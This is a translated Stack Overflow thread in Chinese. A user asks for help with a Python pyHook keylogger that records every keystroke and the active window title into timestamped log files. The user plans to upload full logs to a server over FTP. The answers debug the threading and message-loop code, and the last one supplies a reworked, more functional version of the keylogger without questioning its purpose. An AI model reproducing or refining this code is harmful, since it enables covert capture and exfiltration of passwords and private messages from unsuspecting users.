1
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 
def fi():
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass


lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
        global lastWindow       
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            start = '-----------------------------------'
            print str(start)
            print window 
            lastWindow = window
        print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

if __name__ == '__main__':
    Thread(target = fi).start()
    Thread(target = OnKeyboardEvent(event)).start() 

当文件大小超过 20KB 时,第一个代码块 def fi() 正在创建一个新文件。第二个块是键盘记录器,并将密钥记录在文件中。我是 python 和多线程的新手。现在当我运行这段代码时。我只能让键盘记录器工作,没有文件形成,也没有创建日志。请帮我解决这个问题。

  • 我需要从这段代码中创建一个以当前时间命名的日志文件并将所有关键字记录到文件中。然后如果文件变得超过20KB,那么它应该将旧文件上传到服务器并使用新的当前时间制作一个新文件。我是 python 新手,这就是为什么我不确定这段代码有什么问题以及它没有做什么。*
4

3 回答 3

3

第一个问题

您确实创建了两个线程 - 但第二个的目标 OnKeyboardEvent(event). 这没有return-statement,所以返回值是None,所以 Thread 没有目标。

第二个问题

您的代码永远不会到达if __name__ == "__main__":-part。它阻止了pythoncom.PumpMessages(),至少对我来说。

第三个问题

起初我很困惑你的代码如何在不引发异常的情况下运行 -event最后一行没有在这个范围的前面定义。但是问题 2 目前阻止了问题 3 的生效,但是如果你解决了这个问题,你也将不得不面对问题 3。

解决方案

老实说,我真的不明白你想做什么。您绝对应该解决每个问题。

  1. 不要调用线程的目标,给线程一个函数对象。如果您需要参数,请使用args-argument Thread,例如Thread(target = OnKeyboardEvent, args=(event)).start()

  2. 我不知道的用法pythoncom太好了。也许pythocom.PumpWaitingMessages()是你想要的?

  3. 我不知道你想在这里做什么。为什么要在线程中调用回调函数?这个函数没有循环或任何东西,所以它会运行一次然后停止。我想这只是一次绝望的尝试?

一般说明

  • 我不建议重新定义sys.stdout,除非你真的必须这样做。
  • close()打开您打开的文件。也许考虑使用with- 语句。
  • 更好的是:利用logging-module。它提供了许多不同的可能性。
  • 创建线程时,请考虑结束。什么时候停止?你怎么能从另一个线程阻止它?
于 2013-03-22T06:52:41.097 回答
0

我注意到您对原始消息的编辑/评论。如果您仍在为此工作,这是我的建议。

忘记日志记录、线程和其他你正在尝试做的事情。专注于让 PyHook 以最简单的状态工作。从原始代码来看,您似乎很难正确设置 pyHook(注意,我目前没有安装 pyhook,所以这不是经过测试的代码):

import pyHook

def OnKeyboardEvent(event):
    print(event)

if __name__ == '__main__':

    global hm      #if we make this global, we can access inside OnKeyboardEvent
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    try:
        pythoncom.PumpMessages()   #This call will block forever unless interrupted,
                               # so get everything ready before you execute this.

    except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
        print(e)    
        os._exit()

此代码旨在简单地挂钩任何按键事件,将事件实例打印到控制台。从技术上讲,您不应该在事件回调内部做太多工作(它应该尽快返回),但是为了测试,您可以将一些工作函数放入事件循环中。这只是暂时的,直到你准备好混合你的线程工作循环。(如果文件访问功能导致错误,请不要感到惊讶)。

先让这个工作。然后尝试将标准输出存储到文件中。(暂时忘记 20Kb 文件的限制)。

于 2013-04-14T21:13:24.277 回答
0
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 

def OnKeyboardEvent(event):

    # Now you can access your hookmanager, and change which keys you want 
    # to watch. Using 'event' and 'hm', you can do some fun stuff in here.
    global hm
    global lastWindow

    window=win32gui.GetWindowText(win32gui.GetForegroundWindow())      
    ####window = event.WindowName
    ####I'm not sure, but these last two functions may not return the "exact" 
    ####name values. I would call the same function you trying to compare against.

    key = chr(event.Ascii)
    if window != lastWindow:   ## Now you know these at least come from same function
        start = '-----------------------------------'
        print str(start)
        print window 
        lastWindow = window
    print key

def fi():    #This is your "worker loop"
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass

if __name__ == '__main__':
    """This stuff only executes once"""

    global lastWindow
    lastWindow = None
    lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
    print lastWindow

    global hm      #if we make this global, we can access inside OnKeyboardEvent
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    Thread(target = fi).start() #This is your worker loop

    # We don't need this. OnKeyboardEvent will get callbacks from system
    # thanks to Hookmanager and PumpMessages
    ##Thread(target = OnKeyboardEvent(event)).start()

    # You wouldn't want to do it with the way we are set up, but this is a "polite"
    # way to get PumpMessages to return...

    #ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages


    try:
        pythoncom.PumpMessages()   #This call will block forever unless interrupted

    except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
        print(e)    
        os._exit()
于 2013-03-22T08:24:49.137 回答